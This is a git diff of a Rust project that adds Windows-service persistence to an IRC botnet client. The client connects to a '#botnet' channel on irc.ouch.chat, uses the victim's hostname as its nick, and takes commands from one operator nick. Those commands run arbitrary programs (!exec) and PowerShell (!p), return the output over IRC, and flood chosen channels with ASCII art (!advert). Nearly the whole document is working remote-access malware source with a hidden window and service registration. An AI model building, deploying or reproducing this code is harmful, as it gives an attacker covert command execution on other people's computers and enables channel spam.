diff --git a/Cargo.lock b/Cargo.lock
index 4f177bd..1bb7f0a 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -428,6 +428,7 @@ dependencies = [
  "gethostname",
  "irc",
  "tokio",
+ "windows-service",
 ]
 
 [[package]]
@@ -1012,6 +1013,12 @@ version = "0.2.89"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f"
 
+[[package]]
+name = "widestring"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "653f141f39ec16bba3c5abe400a0c60da7468261cc2cbf36805022876bc721a8"
+
 [[package]]
 name = "winapi"
 version = "0.3.9"
@@ -1043,6 +1050,26 @@ dependencies = [
  "windows-targets 0.48.5",
 ]
 
+[[package]]
+name = "windows-service"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd9db37ecb5b13762d95468a2fc6009d4b2c62801243223aabd44fca13ad13c8"
+dependencies = [
+ "bitflags 1.3.2",
+ "widestring",
+ "windows-sys 0.45.0",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.45.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
+dependencies = [
+ "windows-targets 0.42.2",
+]
+
 [[package]]
 name = "windows-sys"
 version = "0.48.0"
@@ -1061,6 +1088,21 @@ dependencies = [
  "windows-targets 0.52.0",
 ]
 
+[[package]]
+name = "windows-targets"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
+dependencies = [
+ "windows_aarch64_gnullvm 0.42.2",
+ "windows_aarch64_msvc 0.42.2",
+ "windows_i686_gnu 0.42.2",
+ "windows_i686_msvc 0.42.2",
+ "windows_x86_64_gnu 0.42.2",
+ "windows_x86_64_gnullvm 0.42.2",
+ "windows_x86_64_msvc 0.42.2",
+]
+
 [[package]]
 name = "windows-targets"
 version = "0.48.5"
@@ -1091,6 +1133,12 @@ dependencies = [
  "windows_x86_64_msvc 0.52.0",
 ]
 
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
+
 [[package]]
 name = "windows_aarch64_gnullvm"
 version = "0.48.5"
@@ -1103,6 +1151,12 @@ version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
 
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
+
 [[package]]
 name = "windows_aarch64_msvc"
 version = "0.48.5"
@@ -1115,6 +1169,12 @@ version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
 
+[[package]]
+name = "windows_i686_gnu"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
+
 [[package]]
 name = "windows_i686_gnu"
 version = "0.48.5"
@@ -1127,6 +1187,12 @@ version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
 
+[[package]]
+name = "windows_i686_msvc"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
+
 [[package]]
 name = "windows_i686_msvc"
 version = "0.48.5"
@@ -1139,6 +1205,12 @@ version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
 
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
+
 [[package]]
 name = "windows_x86_64_gnu"
 version = "0.48.5"
@@ -1151,6 +1223,12 @@ version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
 
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
+
 [[package]]
 name = "windows_x86_64_gnullvm"
 version = "0.48.5"
@@ -1163,6 +1241,12 @@ version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
 
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.42.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
+
 [[package]]
 name = "windows_x86_64_msvc"
 version = "0.48.5"
diff --git a/Cargo.toml b/Cargo.toml
index 5d22fa9..5852cc3 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -10,4 +10,5 @@ irc = "0.15.0"
 tokio = { version = "1.0.0", features = ["rt", "rt-multi-thread", "macros", "net", "time"] }
 futures = "0.3.0"
 failure = "0.1.8"
-gethostname = "*"
\ No newline at end of file
+gethostname = "*"
+windows-service = "*"
\ No newline at end of file
diff --git a/src/bin/windows_service.rs b/src/bin/windows_service.rs
new file mode 100644
index 0000000..b1ca248
--- /dev/null
+++ b/src/bin/windows_service.rs
@@ -0,0 +1,24 @@
+#![windows_subsystem = "windows"]
+
+#[macro_use]
+extern crate windows_service;
+
+use irc_rpc::start_loop;
+
+use std::ffi::OsString;
+use windows_service::service_dispatcher;
+
+define_windows_service!(ffi_service_main, my_service_main);
+
+fn my_service_main(arguments: Vec<OsString>) {
+    // The entry point where execution will start on a background thread after a call to
+    // `service_dispatcher::start` from `main`.
+    start_loop();
+}
+
+fn main() -> Result<(), windows_service::Error> {
+    // Register generated `ffi_service_main` with the system and start the service, blocking
+    // this thread until the service is stopped.
+    service_dispatcher::start("irc-rpc", ffi_service_main)?;
+    Ok(())
+}
\ No newline at end of file
diff --git a/src/lib.rs b/src/lib.rs
new file mode 100644
index 0000000..81b07e7
--- /dev/null
+++ b/src/lib.rs
@@ -0,0 +1,170 @@
+use futures::prelude::*;
+use irc::client::prelude::*;
+use std::{collections::HashMap, process};
+
+static ART: &str = include_str!("ouch.txt");
+
+pub fn start_loop() {
+    tokio::runtime::Builder::new_multi_thread()
+        .enable_all()
+        .build()
+        .unwrap()
+        .block_on(async {
+            event_loop().await.unwrap();
+        });
+}
+
+async fn event_loop() -> Result<(), failure::Error> {
+    // We can also load the Config at runtime via Config::load("path/to/config.toml")
+    let config = Config {
+        nickname: Some(gethostname::gethostname().to_str().unwrap().to_owned()),
+        server: Some("irc.ouch.chat".to_owned()),
+        channels: vec!["#botnet".to_owned()],
+        channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]),
+        ..Config::default()
+    };
+
+    let mut client = Client::from_config(config).await?;
+    client.identify()?;
+
+    let mut stream = client.stream()?;
+    let sender = client.sender();
+
+    while let Some(message) = stream.next().await.transpose()? {
+        print!("{}", message);
+
+        match message.command {
+            Command::PRIVMSG(ref tar, ref msg) => {
+                let mut target = tar.to_string();
+
+                if target == client.current_nickname() {
+                    target = message.source_nickname().unwrap().to_string();
+                }
+
+                if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
+                    let cmd = msg.split_ascii_whitespace().nth(0);
+
+                    match cmd {
+                        Some("!exec") => {
+                            let mut args = msg.split_ascii_whitespace().skip(1);
+
+                            let mut cmd = process::Command::new(args.nth(0).unwrap());
+
+                            for x in args {
+                                cmd.arg(x);
+                            }
+
+                            println!("{:?}", cmd);
+
+                            let out = cmd.output().unwrap();
+                            sender.send_privmsg(
+                                &target,
+                                format!("Exit Code: {}", out.status.code().unwrap_or(-1)),
+                            )?;
+
+                            let output = String::from_utf8_lossy(&out.stdout).to_string();
+
+                            let s = sender.clone();
+
+                            let t = target.to_string();
+
+                            tokio::spawn(async move { send_message(s, t, output).await });
+                        }
+                        Some("!p") => {
+                            let mut cmd = process::Command::new("powershell");
+
+                            cmd.arg("-command");
+                            cmd.arg(&msg[3..]);
+
+                            println!("{:?}", cmd);
+
+                            let out = cmd.output().unwrap();
+                            sender.send_privmsg(
+                                &target,
+                                format!("Exit Code: {}", out.status.code().unwrap_or(-1)),
+                            )?;
+
+                            let outerr = String::from_utf8_lossy(&out.stderr).to_string();
+                            let output = String::from_utf8_lossy(&out.stdout).to_string();
+
+                            let s = sender.clone();
+
+                            let t = target.to_string();
+
+                            tokio::spawn(async move { send_message(s, t, outerr).await });
+
+                            let s = sender.clone();
+                            let t = target.to_string();
+
+                            tokio::spawn(async move { send_message(s.clone(), t, output).await });
+                        }
+                        Some("!advert") => {
+                            let mut args = msg.split_ascii_whitespace().skip(1);
+                            let l = msg.split_ascii_whitespace().skip(1).count();
+                            if l == 2 {
+                                let net = args.next().unwrap().to_string();
+                                let chan = args.next().unwrap().to_string();
+                                println!("{} {}", net, chan);
+                                tokio::spawn(async move { target_advert(net, chan).await });
+                            }
+                        }
+                        _ => {}
+                    }
+                }
+            }
+            _ => {}
+        }
+    }
+
+    Ok(())
+}
+
+async fn send_message(
+    sender: irc::client::Sender,
+    target: String,
+    msg: String,
+) -> Result<(), failure::Error> {
+    for l in msg.lines() {
+        sender.send_privmsg(target.clone(), l)?;
+        tokio::time::sleep(tokio::time::Duration::from_millis(500)).await;
+    }
+    Ok(())
+}
+
+async fn target_advert(network: String, channel: String) -> Result<(), failure::Error> {
+    let config = Config {
+        nickname: Some("ouchie".to_owned()),
+        server: Some(network),
+        channels: vec![channel.clone()],
+        ..Config::default()
+    };
+
+    let mut client = Client::from_config(config).await?;
+    client.identify()?;
+
+    let mut stream = client.stream()?;
+    let sender = client.sender();
+
+    while let Some(message) = stream.next().await.transpose()? {
+        print!("{}", message);
+
+        if let Command::JOIN(_, _, _) = message.command {
+            let sender = sender.clone();
+            let channel = channel.clone();
+
+            println!("motd");
+
+            tokio::spawn(async move {
+                println!("pre time");
+                tokio::time::sleep(tokio::time::Duration::from_secs(5)).await;
+                println!("post time");
+                send_message(sender.clone(), channel, ART.to_string())
+                    .await
+                    .unwrap();
+                sender.send_quit("ouch or die").unwrap()
+            });
+        }
+    }
+
+    Ok(())
+}
diff --git a/src/main.rs b/src/main.rs
index faf88b0..37d091f 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,163 +1,7 @@
 #![windows_subsystem = "windows"]
 
-use futures::prelude::*;
-use irc::client::prelude::*;
-use std::{collections::HashMap, process};
+use irc_rpc::start_loop;
 
-static ART: &str = include_str!("ouch.txt");
-
-#[tokio::main]
-async fn main() -> Result<(), failure::Error> {
-    // We can also load the Config at runtime via Config::load("path/to/config.toml")
-    let config = Config {
-        nickname: Some(gethostname::gethostname().to_str().unwrap().to_owned()),
-        server: Some("irc.ouch.chat".to_owned()),
-        channels: vec!["#botnet".to_owned()],
-        channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]),
-        ..Config::default()
-    };
-
-    let mut client = Client::from_config(config).await?;
-    client.identify()?;
-
-    let mut stream = client.stream()?;
-    let sender = client.sender();
-
-    while let Some(message) = stream.next().await.transpose()? {
-        print!("{}", message);
-
-        match message.command {
-            Command::PRIVMSG(ref tar, ref msg) => {
-                let mut target = tar.to_string();
-
-                if target == client.current_nickname() {
-                    target = message.source_nickname().unwrap().to_string();
-                }
-
-                if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
-                    let cmd = msg.split_ascii_whitespace().nth(0);
-
-                    match cmd {
-                        Some("!exec") => {
-                            let mut args = msg.split_ascii_whitespace().skip(1);
-
-                            let mut cmd = process::Command::new(args.nth(0).unwrap());
-
-                            for x in args {
-                                cmd.arg(x);
-                            }
-
-                            println!("{:?}", cmd);
-
-                            let out = cmd.output().unwrap();
-                            sender.send_privmsg(
-                                &target,
-                                format!("Exit Code: {}", out.status.code().unwrap_or(-1)),
-                            )?;
-
-                            let output = String::from_utf8_lossy(&out.stdout).to_string();
-
-                            let s = sender.clone();
-
-                            let t = target.to_string();
-
-                            tokio::spawn(async move { send_message(s, t, output).await });
-                        }
-                        Some("!p") => {
-                            let mut cmd = process::Command::new("powershell");
-
-                            cmd.arg("-command");
-                            cmd.arg(&msg[3..]);
-
-                            println!("{:?}", cmd);
-
-                            let out = cmd.output().unwrap();
-                            sender.send_privmsg(
-                                &target,
-                                format!("Exit Code: {}", out.status.code().unwrap_or(-1)),
-                            )?;
-
-                            let outerr = String::from_utf8_lossy(&out.stderr).to_string();
-                            let output = String::from_utf8_lossy(&out.stdout).to_string();
-
-                            let s = sender.clone();
-
-                            let t = target.to_string();
-
-                            tokio::spawn(async move { send_message(s, t, outerr).await });
-
-                            let s = sender.clone();
-                            let t = target.to_string();
-
-                            tokio::spawn(async move { send_message(s.clone(), t, output).await });
-                        }
-                        Some("!advert") => {
-                            let mut args = msg.split_ascii_whitespace().skip(1);
-                            let l = msg.split_ascii_whitespace().skip(1).count();
-                            if l == 2 {
-                                let net = args.next().unwrap().to_string();
-                                let chan = args.next().unwrap().to_string();
-                                println!("{} {}", net, chan);
-                                tokio::spawn(async move { target_advert(net, chan).await });
-                            }
-                        }
-                        _ => {}
-                    }
-                }
-            }
-            _ => {}
-        }
-    }
-
-    Ok(())
-}
-
-async fn send_message(
-    sender: irc::client::Sender,
-    target: String,
-    msg: String,
-) -> Result<(), failure::Error> {
-    for l in msg.lines() {
-        sender.send_privmsg(target.clone(), l)?;
-        tokio::time::sleep(tokio::time::Duration::from_millis(500)).await;
-    }
-    Ok(())
-}
-
-async fn target_advert(network: String, channel: String) -> Result<(), failure::Error> {
-    let config = Config {
-        nickname: Some("ouchie".to_owned()),
-        server: Some(network),
-        channels: vec![channel.clone()],
-        ..Config::default()
-    };
-
-    let mut client = Client::from_config(config).await?;
-    client.identify()?;
-
-    let mut stream = client.stream()?;
-    let sender = client.sender();
-
-    while let Some(message) = stream.next().await.transpose()? {
-        print!("{}", message);
-
-        if let Command::JOIN(_, _, _) = message.command {
-            let sender = sender.clone();
-            let channel = channel.clone();
-
-            println!("motd");
-
-            tokio::spawn(async move {
-                println!("pre time");
-                tokio::time::sleep(tokio::time::Duration::from_secs(5)).await;
-                println!("post time");
-                send_message(sender.clone(), channel, ART.to_string())
-                    .await
-                    .unwrap();
-                sender.send_quit("ouch or die").unwrap()
-            });
-        }
-    }
-
-    Ok(())
-}
+fn main() {
+    start_loop();
+}
\ No newline at end of file